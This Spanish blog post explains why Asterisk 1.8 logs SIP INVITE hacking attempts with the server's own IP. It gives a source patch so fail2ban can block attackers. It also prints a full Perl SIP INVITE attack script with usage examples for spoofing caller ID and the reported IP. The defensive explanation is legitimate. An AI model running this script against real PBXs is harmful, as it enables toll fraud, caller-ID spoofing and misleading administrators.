Si administras un Asterisk con conexión desde Internet seguro que habrás visto en los logs este mensaje muchísimas veces – por cierto, si tu Asterisk NO debe estar accesible desde Internet y ves esto en los logs o en la consola, ve revisando con urgencia la configuración de tu Router/Firewall 🙂
Lo normal es ver algo así en la consola:
Bueno, ¿y qué tiene esto de especial o de raro? Pues que la IP que aparece NO es la del atacante, sino la de nuestro servidor Asterisk. Esto la verdad es que deja fuera de juego a mucha gente; primero porque ver el mensaje intentando llamar a un número internacional ya acojona; y luego porque, como digo, la IP que aparece es la tuya y no la del atacante.
Mientras vas buscando en Google el por qué de este mensaje vas viendo la consola como van apareciendo más registros … y sin la IP, no puedes bloquear nada ni crear una regla en el fail2ban para automatizar el bloqueo de este tipo de ataques.
En las versiones más modernas de Asterisk parece que trae un módulo de seguridad que controla esto pero al menos en la 1.8, que sigue siendo de las más utilizadas, no hay manera de saber quien está intentando llamar desde tu sistema a coste cero (para él, claro).
Antes de ver la pésima solución, analizaremos por qué ocurre esto. Ya publiqué hace tiempo 2 entradas donde explicaba este tipo de ataques y donde ponía un script para ver si tu sistema era vulnerable. Las entradas son estas:
http://blog.pepelux.org/2012/02/15/asterisk-invite-attack/
http://blog.pepelux.org/2013/01/05/asterisk-%e2%80%93-invite-attack-ii/
Y bueno, como los scripts siempre están en continua evolución, aquí va de nuevo, un poco mejorado:
#!/usr/bin/perl # -=-=-=-=-=-=-= # SipINVITE v1.1 # -=-=-=-=-=-=-= # # Pepelux <pepelux[at]gmail[dot]com> use warnings; use strict; use IO::Socket; use NetAddr::IP; use Getopt::Long; use Digest::MD5; my $host = ''; # host my $port = ''; # port my $dst_number = ''; # destination number my $src_number = ''; # source number my $lport = "31337"; my $hip = ""; my $fakeip = ""; sub init() { if ($^O =~ /Win/) {system("cls");}else{system("clear");} # check params my $result = GetOptions ("h=s" => \$host, "d=s" => \$dst_number, "s=s" => \$src_number, "ip=s" => \$fakeip, "p=s" => \$port); help() if ($host eq "" || $dst_number eq ""); $port = "5060" if ($port eq ""); $src_number = "100" if ($src_number eq ""); $hip = inet_ntoa(inet_aton($host)); $fakeip = $hip if ($fakeip eq ""); invite($hip, $fakeip, $host, $port, $dst_number, $src_number); exit; } sub invite { my $ip = shift; my $fakeip = shift; my $host = shift; my $nport = shift; my $dst = shift; my $src = shift; my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2); $lport = $sc->sockport(); my $branch = &generate_random_string(71, 0); my $callerid = &generate_random_string(32, 1); my $msg = "INVITE sip:".$dst_number."@".$host.";transport=UDP SIP/2.0\n"; $msg .= "Supported: \n"; $msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n"; $msg .= "Contact: $dst <sip:".$dst."@".$ip.":$lport>\n"; $msg .= "Via: SIP/2.0/UDP $ip:$lport;branch=$branch\n"; $msg .= "Call-id: ".$callerid."@".$fakeip."\n"; $msg .= "Cseq: 1 INVITE\n"; $msg .= "From: $src <sip:".$src."@".$fakeip.">;tag=ddb044893807095baf1cf07269f03118\n"; $msg .= "Max-forwards: 70\n"; $msg .= "To: <sip:".$dst."@".$host.">\n"; $msg .= "Content-length: 123\n\n"; $msg .= "v=0\n"; $msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n"; $msg .= "s=session\n"; $msg .= "c=IN IP4 $ip\n"; $msg .= "t=0 0\n"; $msg .= "m=audio 2362 RTP/AVP 0\n\n"; print $sc $msg; print "\nSending:\n=======\n$msg\n\n"; my $data = ""; my $server = ""; my $useragent = ""; my $line = ""; LOOP: { while (<$sc>) { $line = $_; if ($line =~ /[Ss]erver/ && $server eq "") { $line =~ /[Ss]erver\:\s(.+)\r\n/; if ($1) { $server = $1; } } if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") { $line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/; if ($1) { $useragent = $1; } } $data .= $line; if ($line =~ /^\r\n/) { last LOOP; } } } print "\nReceiving:\n=========\n$data\n\n"; } sub generate_random_string { my $length_of_randomstring = shift; my $only_hex = shift; my @chars; if ($only_hex == 0) { @chars = ('a'..'z','0'..'9'); } else { @chars = ('a'..'f','0'..'9'); } my $random_string; foreach (1..$length_of_randomstring) { $random_string.=$chars[rand @chars]; } return $random_string; } sub help { print qq{ Usage: $0 -h <host> -d <dst_number> [options] == Options == -d <integer> = Destination number -s <integer> = Source number (default: 100) -p <integer> = Remote SIP port (default: 5060) -ip <string> = Fake IP (by default is the same as host) == Examples == \$$0 -h 192.168.0.1 -d 100 \$$0 -h 192.168.0.1 -d 666666666 -s 200 \$$0 -h 192.168.0.1 -d 100 -ip 1.2.3.4 }; exit 1; } init();
De hecho, lo que ocasionó el registro de la captura anterior fue esto:
$ perl sipinvite.pl -h sip3 -d 44123456789 -s 0044121212121
Y las nuevas opciones que trae el script son:
Podemos jugar con los números origen y destino, e incluso realizar llamadas telefónicas alterando el Callerid, en caso de que el sistema no esté bien configurado (tal y como comento en las entradas de mi blog que he mencionado antes). La verdad es que ver la IP de tu sistema mosquea mucho, pero si pones una aleatoria puedes volver loco al pobre administrador:
$ perl sipinvite.pl -h sip3 -d 100 -ip 1.2.3.4
$ perl sipinvite.pl -h sip3 -d 100 -ip "VAIS A MORIR TODOS"
En realidad este mensaje, aunque asusta bastante, quiere decir que está todo bien configurado pero que hay un gracioso intentando mandar mensajes INVITE para realizar llamadas. En caso de que tuviéramos mal configurado nuestro sistema veríamos en la consola cómo se realiza una llamada saliente, como si la hubiera marcado un teléfono. Lo que nos están mandando para provocar este aviso es algo así:
Como solución tenemos 2 opciones. La primera es acostumbrarlos a ver el aviso por pantalla 🙂 … y la segunda es ‘retocar’ el código de Asterisk y recompilar. Para ello tendremos que buscar en channels/chan_sip.c el lugar donde nos muestra ese error y antes, hacer un print con la IP del atacante. Algo así:
} else if (sip_cfg.alwaysauthreject) { res = AUTH_FAKE_AUTH; /* reject with fake authorization request */ ast_log(LOG_NOTICE, "hacking attempt detected '%s'\n", ast_sockaddr_stringify_addr(addr));
Por lo que en nuestra consola veríamos lo siguiente:
Y ya con la IP del atacante podremos realizar el bloqueo correspondiente en nuestras IPTABLES o, mejor aún, crear una regla en Fail2ban que bloquee las IPs que aparezcan en el mensaje que hemos creado: hacking attempt detected ‘X.X.X.X’
Espero que os sirva. Saludos